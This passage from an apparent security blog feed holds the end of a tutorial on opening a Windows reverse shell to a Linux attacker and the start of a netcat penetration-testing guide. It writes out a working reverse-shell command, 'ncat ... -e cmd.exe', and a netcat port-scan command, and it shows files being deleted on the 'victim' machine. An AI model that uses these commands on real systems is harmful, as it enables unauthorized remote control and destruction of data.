    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl8_FZOg2B0BLHKL1RGrvREKdcUaRg-AIdbfQM0b3WWOvEcLc_wiA8wo6nrG_3NyGUoo38gk7_J3haTghSOV4LB22ZfpV5-uXtrdx5M4ABEBLzINcD7BOVkf2UKz7wlTfQ71UXPBvweN4i8j8mo8nIXM2yjGGXSoK-s2x94r3s9Z9c9OwOfYwLQKyxV1fJ/s788/netcat-reverse-shell-1.png&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;397&quot;
      data-original-width=&quot;788&quot;
      height=&quot;322&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl8_FZOg2B0BLHKL1RGrvREKdcUaRg-AIdbfQM0b3WWOvEcLc_wiA8wo6nrG_3NyGUoo38gk7_J3haTghSOV4LB22ZfpV5-uXtrdx5M4ABEBLzINcD7BOVkf2UKz7wlTfQ71UXPBvweN4i8j8mo8nIXM2yjGGXSoK-s2x94r3s9Z9c9OwOfYwLQKyxV1fJ/w640-h322/netcat-reverse-shell-1.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Before executing any command in windows machine first we need to check
  &lt;b&gt;netcat&lt;/b&gt;&amp;nbsp;installed or not. If &lt;b&gt;netcat &lt;/b&gt;is not install in
  windows machine then install it.
&lt;/p&gt;
&lt;p&gt;
  you should install the Netcat (Ncat) package that comes with Nmap, which you
  can download from
  &lt;a href=&quot;https://nmap.org/download.html#windows&quot;
    &gt;&lt;b&gt;https://nmap.org/download.html#windows&lt;/b&gt;&lt;/a
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;299&quot;
      data-original-width=&quot;1049&quot;
      height=&quot;182&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghvZMKOzpQ4jFO6tBI3QFwV9NyLJU7XFNZj6MykHoIFuOL0Pd8aziLjWMoPoB-XJmOgAHbECPeg6Bmjxj7bdN2N_1e9BEXX4gYDZrYhdcbMRMIqPTG_C5wEeRDJ0dcAG6elR15bjP3UZy43G_H8zowBi4OQH6H4tcxIAduV81i0io1Fr90iIQa-Tw1hGIq/w640-h182/netcat-reverse-shell-windows-install-netcat.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  After downloading simple right click on setup file and run as administrator
  after that open &lt;b&gt;cmd prompt&lt;/b&gt;&amp;nbsp;and run for check its properly install
  or not &lt;b&gt;ncat -h&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ2j3OQEeuVwsp1tQVO5mspNpg0fPpLRzg39Z3BzkFxlQjaJNtOtt0zUrfxskM8ecqspSleT0PHAB87N_QhTR9IV-Z3vKWbKHLeysJndydWayV2QVPbCswYxVQEMvV5cODs5uHrK4Ow2Rq5aW49011tYVubyblqLNaMsqmuxgUDOLAt2TaEk7AXaWGheTC/s792/netcat-reverse-shell-4.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;381&quot;
      data-original-width=&quot;792&quot;
      height=&quot;308&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ2j3OQEeuVwsp1tQVO5mspNpg0fPpLRzg39Z3BzkFxlQjaJNtOtt0zUrfxskM8ecqspSleT0PHAB87N_QhTR9IV-Z3vKWbKHLeysJndydWayV2QVPbCswYxVQEMvV5cODs5uHrK4Ow2Rq5aW49011tYVubyblqLNaMsqmuxgUDOLAt2TaEk7AXaWGheTC/w640-h308/netcat-reverse-shell-4.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;3523395111&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  now its time to run this command
  &lt;b&gt;ncat.exe 192.168.12.100 4444 -e cmd.exe&amp;nbsp;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Time to get back to our attacker’s machine. From the below image you can see
  that we are into the victim’s command shell.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQxlCwHCgLrbHG6SX2ifwjKUfICi2m36RdXa5TaWHJZhX7VvPR8pAHOM9Megw4bskm7D6YH0WEA8xTlhMtDCjwJdAhkUPWokfjI2IY2LkNsJyegewRZamDwn_14wEd_srwNl1I9JnNtVNJ6jtCFCa9zmZFDkUBH9SQBmQB_WcxcxPi_S7ZvdpwqkRn4H8o/s654/netcat-reverse-shell-6.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;216&quot;
      data-original-width=&quot;654&quot;
      height=&quot;212&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQxlCwHCgLrbHG6SX2ifwjKUfICi2m36RdXa5TaWHJZhX7VvPR8pAHOM9Megw4bskm7D6YH0WEA8xTlhMtDCjwJdAhkUPWokfjI2IY2LkNsJyegewRZamDwn_14wEd_srwNl1I9JnNtVNJ6jtCFCa9zmZFDkUBH9SQBmQB_WcxcxPi_S7ZvdpwqkRn4H8o/w640-h212/netcat-reverse-shell-6.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  as you can see that reverse shell have been done and whatever you want you can
  use windows command line like whoami, del, remove etc
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  we are doing now simply access those folders and delete anything what i want.
  But suppose that you entered a wrong command in our attacker&#39;s machine so what
  happened next let see!!
&lt;/div&gt;
&lt;div&gt;
  In windows if we want to clear command prompt terminal so for this simply you
  can use this command &lt;b&gt;cls &lt;/b&gt;but for checking purpose we will use
  &lt;b&gt;clear &lt;/b&gt;command.
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;127&quot;
      data-original-width=&quot;323&quot;
      height=&quot;252&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRUW4Dgeh2yHrizgSGxp57i0z_gz12dqStJJIrt4xtqMxU2gbgwL_i5wLvGuMmycqsix2f9otdNFLdVm00PwyHChhTICHVE26NmL1RqDuC04b55XHKs1NQoHb4yc32bLs7gND0kJzENSVLRqx9DLY0syXbSM435ppG-BkB66aAH2VjUkvN5MFP-zl4_1Tv/w640-h252/netcat-reverse-shell-9.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;Then if you check in windows machine!!!&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiCDskUf5qCEY1SpuZy3FliB3JyvCl0w0g0RMU1RMiDwAr-qed75-oSShA_fadgJ2BGSRp-msHKZOe1uVoAWPy0jNOVf3iv6IdEJlZK_3HT1KyZ3G28-wINfH6eCDfD-hR-bJsqA40T3SOJvrhXYqXGGIWpT1OWVkenJzlJCYzTWyq4WsJUfLjq4ZTDWmS/s637/netcat-reverse-shell-10.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;172&quot;
      data-original-width=&quot;637&quot;
      height=&quot;172&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiCDskUf5qCEY1SpuZy3FliB3JyvCl0w0g0RMU1RMiDwAr-qed75-oSShA_fadgJ2BGSRp-msHKZOe1uVoAWPy0jNOVf3iv6IdEJlZK_3HT1KyZ3G28-wINfH6eCDfD-hR-bJsqA40T3SOJvrhXYqXGGIWpT1OWVkenJzlJCYzTWyq4WsJUfLjq4ZTDWmS/w640-h172/netcat-reverse-shell-10.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  Yes!! its a correct because of there is no any command line &lt;b&gt;clear &lt;/b&gt;so
  thats why its showing &#39;&lt;b&gt;clear&#39;&lt;/b&gt;&amp;nbsp;is not recognized as a internal or
  external command ..... so simply clear cmd prompt type &lt;b&gt;cls.&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;&lt;b&gt;Now we will delete anything what we have to want!!!&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- sep  2024 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2642069341&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;table
  align=&quot;center&quot;
  cellpadding=&quot;0&quot;
  cellspacing=&quot;0&quot;
  class=&quot;tr-caption-container&quot;
  style=&quot;margin-left: auto; margin-right: auto;&quot;
&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center;&quot;&gt;
        &lt;span style=&quot;margin-left: auto; margin-right: auto;&quot;
          &gt;&lt;a
            href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
            target=&quot;_blank&quot;
            &gt;&lt;img
              alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
              border=&quot;0&quot;
              data-original-height=&quot;630&quot;
              data-original-width=&quot;704&quot;
              height=&quot;572&quot;
              src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQT-md-m8C42SE1YYAnlVto5gmgJ17lg5l7GTypRyey0UcfRjCOoT_24VQbyXqm3P5WHWQgfHsmk8s-uSI8M7Ym0ypKVgs51Azz5gD-GyLck_IGKqMGDxdvMNXEyhyphenhyphenEPUNb0nqZ5p2DmC6l6hacA3T05goKNeB59IlxgIL-u4QTfK1ZvcsTTcqR5xvgksn/w640-h572/netcat-reverse-shell-11.png&quot;
              title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
              width=&quot;640&quot; /&gt;&lt;/a
        &gt;&lt;/span&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;br /&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;simply access the directory&amp;nbsp;via&amp;nbsp;&lt;b&gt;cd&amp;nbsp;&lt;/b&gt;command.&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;a
      href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
      imageanchor=&quot;1&quot;
      style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;
      target=&quot;_blank&quot;
      &gt;&lt;img
        alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
        border=&quot;0&quot;
        data-original-height=&quot;518&quot;
        data-original-width=&quot;681&quot;
        height=&quot;486&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPCnuZIjnOBy2SBBeljWMfQuug7oMy1HN6_NZk4s8GMaeq0Zfnjq-hWX880XIJj54LKMzoO8wisvbHI4zlf2f1WhadHlxoo19fnC0c-iczn_RUXvTNFTcZAFjSh7esc5K8UMgEJJOHxd0lQVMYTY9OE6i25kMtAy4a9qWOgWLhwYKiMu0N-mFEVJ64pPnc/w640-h486/netcat-reverse-shell-12.png&quot;
        title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
        width=&quot;640&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;br /&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
      imageanchor=&quot;1&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      target=&quot;_blank&quot;
      &gt;&lt;img
        alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
        border=&quot;0&quot;
        data-original-height=&quot;292&quot;
        data-original-width=&quot;521&quot;
        height=&quot;358&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjlaO3IR5_sJdkZqMK8L_NYc-CSopTOv274SEXeeP6pA74V-1FkSExi5kwHueWE3SquHWhs3W3AeI9qWtX2p1ljR-xY8PvA77B8fnVo6o2rA3METMX6o7rN3AXzUKeTR3q104RmNsPeQQx6JksR99Ve6xekTFxRAwm5R7dzD32bdOstJtFLtz64TIZYMgD/w640-h358/netcat-reverse-shell-13.png&quot;
        title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
        width=&quot;640&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;use this command for delete the file &lt;b&gt;del filename.&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
  &lt;/div&gt;
  &lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;1273147351&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;br /&gt;&lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;392&quot;
      data-original-width=&quot;588&quot;
      height=&quot;426&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqlhWsTKY8tjJiwfxbJMG75IDH8SkrZ_Z3RdrwHToMLDGPMePOQ-A2JxEK8C48JKQcj0YExwSNoNBaaDUIEAU7QfnJyDtmPTaSlsc0LwUnCcjMV7cZO36-97e8-9z01-Cz9f1jpAe9J4KgddITTTn-u0WPnNLmzuUIERE4enUoE8jMJ63jJ3pci2h8XcQQ/w640-h426/netcat-reverse-shell-14.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot; /&gt;&lt;/a
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &amp;nbsp;I hope you love this blog don&#39;t forget to share the love and happiness
  with knowledge because by sharing knowledge its increases, it does not
  decrease.
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
  &lt;h4&gt;Disclaimer&lt;/h4&gt;
  &lt;p&gt;
    All tutorials are for informational and educational purposes only and have
    been made using our own routers, servers, websites and other vulnerable free
    resources. we do not contain any illegal activity. We believe that ethical
    hacking, information security and cyber security should be familiar subjects
    to anyone using digital information and computers. Hacking Truth is against
    misuse of the information and we strongly suggest against it. Please regard
    the word hacking as ethical hacking or penetration testing every time this
    word is used. We do not promote, encourage, support or excite any illegal
    activity or hacking.
  &lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/1309143731985384421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1309143731985384421'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1309143731985384421'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html' title='Connecting from Linux to Windows Reverse Shell'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR4DYoKULdMyTBQbrnzo9zlG8VPsEFhh5zE9tJwHioiB3o9byYcPIo6Ym-BxhTLhReLCUzdyKiIQMaH5KajlfjCF7UqHMPwrCGEpNPa6M9ja8UojGeQZCxiS9oFDhgOVdDIFgfUqBNcB2z2Q-AS0E5_VIEuc1rzsMzFvgKOkULi8YzjRK00E9RwV6lJwe4/s72-w640-h360-c/windows-reverse-shell-hackingtruth.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-4190143603006467439</id><published>2024-09-08T22:48:00.000-07:00</published><updated>2024-09-08T22:48:48.167-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="netcat"/><category scheme="http://www.blogger.com/atom/ns#" term="penetration testing"/><title type='text'>Netcat techniques for penetration testers </title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1080&quot;
      data-original-width=&quot;1920&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_BmnxlJscE2Q3UMGnoHAaEMsABnp8JBQ1iGty31gcKF3R8mGzUS1froiBEeMsQKgsX-i2jlfQfj00DOnwL7D_ggie-nDn2mQ5fUMBJ5QkkEfZXzvbeGyzJmpRegX-57p_tzCoWx6M1lwjslo5sF7sd888j6k5_ivMtQI8mNW0no-2rV5znfkt0335o0qY/w640-h360/netcat.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Netcat techniques for penetration testers&amp;nbsp;
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  After a long time we are back, Yes! we are back and now we have brought it for
  you a new blog about netcat for penetration tester or else. &lt;i&gt;Netcat&lt;/i&gt; a
  techniques for penetration testers. Netcat technically use as a &quot;nc&quot; - is a
  network utility that uses the &lt;b&gt;&lt;i&gt;TCP&lt;/i&gt;&lt;/b&gt; and &lt;b&gt;UDP&lt;/b&gt; connections in
  order to read and write a network. It can be used by security auditors and
  attackers. Its depend upon for which purpose you want to use this netcat.
&lt;/p&gt;
&lt;p&gt;
  It acts as a simple&lt;b&gt; TCP/UDP/SCTP/SSL client &lt;/b&gt;for interacting with web
  servers, telnet servers, mail servers, and other TCP/IP network services.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Netcat Basic Command&lt;/h3&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Help or sometimes its &quot;&lt;b&gt;h&lt;/b&gt;&quot; this single alphabet drops out for every
  possible options that a tool can do for us. So, lets start with the first
  command for us &lt;b&gt;help command&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -h&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    rel=&quot;nofollow&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;684&quot;
      data-original-width=&quot;829&quot;
      height=&quot;528&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGC7m1RzPLWjb5BMbofUI9xYapdfNLtC67b23sMG3G3fuKG3cZlQ8lK7bDKba4z-FEOaLkLEdPF931DU4J3iZSEnpWgLiXzYR2YbYyKlsXB3qondZlX7LQEppSwK5mpa898DnVJfzL5f3RjcwtiXbyqhcKfNwbUxGcEfyp3qKSRys6kX51905kAOTX9wS7/w640-h528/1.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Port Scanning&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now we will work with port scanning with netcat. although it was not designed
  to function as. To make it worth as a scanner, we need to set the
  &quot;&lt;b&gt;-z&lt;/b&gt;&quot;&amp;nbsp; flag, which tells netcat, to scan listing daemon without
  sending any data. This makes it possible to understand the types of services
  that is running on that specific port.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -v -n -z 192.168.19.100 21-100&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;[-v] -&amp;nbsp;&lt;/b&gt;&amp;nbsp;indicates&amp;nbsp;&lt;/p&gt;
